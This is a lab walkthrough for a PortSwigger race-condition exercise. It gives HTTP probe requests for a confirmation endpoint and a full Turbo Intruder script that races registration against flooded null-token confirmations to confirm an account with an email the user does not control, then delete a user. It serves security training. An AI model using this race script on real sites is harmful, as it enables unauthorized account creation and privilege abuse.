[Objective: exploit a race between **user registration**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) and **email confirmation** to register an account with an email you don’t control, then log in and delete user **carlos**.
Requirements: **Burp Suite 2023.9+**, latest **Turbo Intruder** (BApp), a browser.
---
## 1) Recon the flow (confirm your target is the right lab)
1. Open the lab in a browser.
2. Go to **Register** and read constraints:
* Email domain must be `@ginandjuice.shop`.
* Registration requires clicking a confirmation link (delivered via email).
1. In **Proxy → HTTP history**, locate:
* `GET /resources/static/users.js` (or similar). This JS reveals how the confirmation page works.
* You should learn the confirmation action is **`POST /confirm?token=...`** (token comes from the query string).
4. Craft the confirmation request in **Repeater** and test the server’s behavior:
![[CleanShot 2025-08-25 at
[email protected]]]
* With arbitrary token:
```
POST /confirm?token=1 HTTP/2
Host: <LAB-HOST>
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
→ Response like `Incorrect token: 1`.
* Without the `token` parameter:
→ Response like `Missing parameter: token`.
* With **empty** token:
```
POST /confirm?token=
```
→ Likely `Forbidden` (patch attempt).
* With **array** token (null-ish shape many frameworks coerce):
```
POST /confirm?token[]=
```
→ Response like `Invalid token: Array` (good sign: the backend **parses** an empty array; this is our collision primitive).
**Why this matters:** There’s a small window after `/register` begins but **before** the server persists a real token. In this sub-state, a **null/empty** token shape (e.g., `token[]=`) may pass the confirmation check.
---
## 2) Baseline registration request (to reuse in Turbo Intruder)
1. Register once normally to **capture the exact POST** the form sends (fields, names, CSRF, etc.). In **HTTP history**, open **`POST /register`** and send to **Repeater**.
2. Edit the **body** so **both** the username **and** the **local-part** of the email are **payload markers** (two `%s`). Keep your real CSRF, and include every field the form uses (often `confirmPassword` too):
```
csrf=<YOUR_CSRF>&username=%s&email=%s%40ginandjuice.shop&password=p%40ssw0rd%21&confirmPassword=p%40ssw0rd%21
```
* `%s` #1 → username
* `%s` #2 → **local-part** of the email (the part before `@`)
3. **Important sanity checks now:**
* No stray double ampersands (e.g., `csrf=...&&username=` is wrong).
* Manually hit in Repeater:
```
POST /confirm?token[]=
```
and verify you get a consistent “invalid/array” type message. The endpoint is live.
---
## 3) Fire the race with Turbo Intruder (HTTP/2; single connection)
From your **`POST /register`** tab in **Repeater** (the one with two `%s` in the body):
* Right-click → **Extensions → Turbo Intruder → Send to Turbo Intruder**.
Paste this **Jython 2.7–compatible** script (no f-strings; includes three token shapes). Replace `HOST` and `COOKIE` with your values. If `/confirm` does **not** need a cookie, remove the `Cookie:` lines in the confirm requests.
```python
# DEBUG race: logs ALL responses, sends 3 token shapes. Uses /register from Repeater (must contain TWO %s).
# Works on Jython 2.7.
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1, # single HTTP/2 conn for tight interleaving
engine=Engine.BURP2,
timeout=10
)
HOST = '<LAB-HOST>'
COOKIE = '<YOUR_SESSION_COOKIE_NAME=VALUE>' # if confirm doesn't need it, remove Cookie lines below
confirmA = (
'POST /confirm?token[]= HTTP/2\r\n'
'Host: {h}\r\n'
'Cookie: {c}\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 0\r\n\r\n'
).format(h=HOST, c=COOKIE)
confirmB = (
'POST /confirm?token[0]= HTTP/2\r\n'
'Host: {h}\r\n'
'Cookie: {c}\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 0\r\n\r\n'
).format(h=HOST, c=COOKIE)
confirmC = (
'POST /confirm?token= HTTP/2\r\n'
'Host: {h}\r\n'
'Cookie: {c}\r\n'
'Content-Type: application/x-www-form-urlencoded\r\n'
'Content-Length: 0\r\n\r\n'
).format(h=HOST, c=COOKIE)
attempts = 80 # raise if needed
confirms_per_shape = 60 # 3 shapes × 60 = 180 confirms per attempt
for attempt in range(attempts):
gate = str(attempt)
# lower-case, simple payload; will fill BOTH %s markers (username AND email local-part)
payload = 'u{0:02d}'.format(attempt)
# CRITICAL: pass a list for two %s markers -> [username, email-local]
engine.queue(target.req, [payload, payload], gate=gate, label='REG-'+payload)
# flood confirms in same gate (3 shapes)
for i in range(confirms_per_shape):
engine.queue(confirmA, gate=gate, label='CONF-A-{0}-{1}'.format(attempt, i))
engine.queue(confirmB, gate=gate, label='CONF-B-{0}-{1}'.format(attempt, i))
engine.queue(confirmC, gate=gate, label='CONF-C-{0}-{1}'.format(attempt, i))
engine.openGate(gate) # release all together
def handleResponse(req, interesting):
# Log everything; sort later by Status/Length
table.add(req)
# Highlight clear success responses
if req.status == 200 and 'Account registration for user' in req.response:
table.add(req)
```
**What it does:**
* Queues **one** `/register` + **many** `/confirm` for each attempt.
* Uses **same gate** to release both simultaneously (maximize overlap with the token-persistence window).
* Tries three nullish token shapes: `token[]=`, `token[0]=`, `token=`.
---
## 4) Interpreting results & finishing the lab
* In Turbo Intruder’s results table, sort by **Status** and **Length**.
* A successful win typically produces:
* `200 OK` on `/confirm` with body containing:
```
Account registration for user uNN successful
```
* (Some instances may `302` then show success; your results table shows all).
**Once you see a success row:**
1. Note the **username** (e.g., `u07`).
2. Log in with that username and the **static password** you used in the registration body (e.g., `p@ssw0rd!`).
3. Go to the **Admin panel**.
4. **Delete user `carlos`**. Done.
![[CleanShot 2025-08-25 at
[email protected]]]